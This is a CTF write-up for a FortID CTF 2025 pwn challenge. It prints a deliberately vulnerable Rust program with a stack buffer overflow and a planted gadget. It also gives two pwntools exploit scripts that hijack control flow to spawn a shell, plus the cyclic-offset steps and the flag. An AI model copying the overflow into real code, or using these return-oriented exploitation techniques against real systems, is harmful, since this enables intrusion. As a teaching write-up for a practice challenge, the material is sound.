Skip to main content
  1. CTF Writeups/
  2. FortID CTF 2025/

Intro Pwn

·
Pwn 100pts 181 Solves Rust Rop Bof
subzcuber
Author
subzcuber
i like to imagine i’m funny

Stumbled upon Rust recently, still learning the ropes…


You’re given this horrible example of rust code which is just adding as many unsafe C features as it can

chall.rs
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
use std::os::raw::{c_char, c_int, c_void};

#[link_section = ".text.patch"]
static PATCHPOINT: [u8; 2] = [0x5F, 0xC3];

#[repr(C)]
struct FILE {
    _priv: [u8; 0],
}

extern "C" {
    fn read(fd: c_int, buf: *mut c_void, count: usize) -> isize;
    fn puts(s: *const c_char) -> c_int;
    fn system(cmd: *const c_char) -> c_int;
    fn exit(code: c_int) -> !;
    static mut stdout: *mut FILE;
    fn setbuf(stream: *mut FILE, buf: *mut c_char);
}

const WELCOME: &[u8] = b"Welcome to my first Rust program!\n\0";
const PROMPT: &[u8] = b"Say something:\n\0";
const BYE: &[u8] = b"Bye!\n\0";
const NOPE: &[u8] = b"nope\n\0";
const BINSH: &[u8] = b"/bin/sh\0";

#[no_mangle]
pub extern "C" fn win(key: u64) {
    unsafe {
        if key != 0xdeadbeefcafebabeu64 {
            puts(NOPE.as_ptr() as *const c_char);
            exit(1);
        }
        system(BINSH.as_ptr() as *const c_char);
    }
}

pub extern "C" fn vuln() {
    let mut buf = [0u8; 64];
    unsafe {
        setbuf(stdout, std::ptr::null_mut());
        puts(PROMPT.as_ptr() as *const c_char);
        read(0, buf.as_mut_ptr() as *mut c_void, 0x200);
    }
}

fn main() {
    unsafe {
        puts(WELCOME.as_ptr() as *const c_char);
    }
    vuln();
    unsafe {
        puts(BYE.as_ptr() as *const c_char);
    }
}

The vuln() function reads 0x200 bytes into a buffer of 0x40 size => buffer overflow. And on line 4 you’re given a PATHPOINT which is just the ROP Gadget for pop rdi.

All you have to do is call win() with 0xdeadbeefcafebabe as the function argument, for which you use the given pathchpoint since the rdi reg contains you’re first function argument

# exploit
io = start()
key = 0xdeadbeefcafebabe

win_addr = exe.symbols['win']
log.info(f"{hex(win_addr)=}")

# rop chain
rop = ROP(exe)
rop.call(rop.ret)
rop.call('win', [key])

log.debug('\n' + rop.dump())

# payload
payload = flat({72:rop.chain()})

io.sendlineafter("Say something:\n", payload)
io.interactive()

The offset 72 was found by using

❯ pwn cyclic 600
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf

to generate a cyclic payload that you send into ./chal and check the value of the overwritten rbp register

You can calculate the offset with

❯ pwn cyclic -l saaa
72
FortID{1_D0n'7_Th1nk_Th1s_1s_H0w_Y0u'r3_Supp0s3d_T0_Wr1t3_C0d3_1n_Ru5t}

Alternatively you could jump straight to the win condition, without needing to set the function argument. This is possible since there was no PIE and thus addresses were fixed

io = start()

dst_addr = 0x23c4f3
payload = flat({72: dst_addr})

io.sendlineafter("Say something:\n", payload)

io.interactive()
Reply by Email

Related

Sqlate
Pwn 50pt Bof
silly hex conversion
Biscuits
Pwn 50pt 192 Solves Pwntools
im hungry
Secure Shell
Pwn 50pt Bash
bash command substitution/injection